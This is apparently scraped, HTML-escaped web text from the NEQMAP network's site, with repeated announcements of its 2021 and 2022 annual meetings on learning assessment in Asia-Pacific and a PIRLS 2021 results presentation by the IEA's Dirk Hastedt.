momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

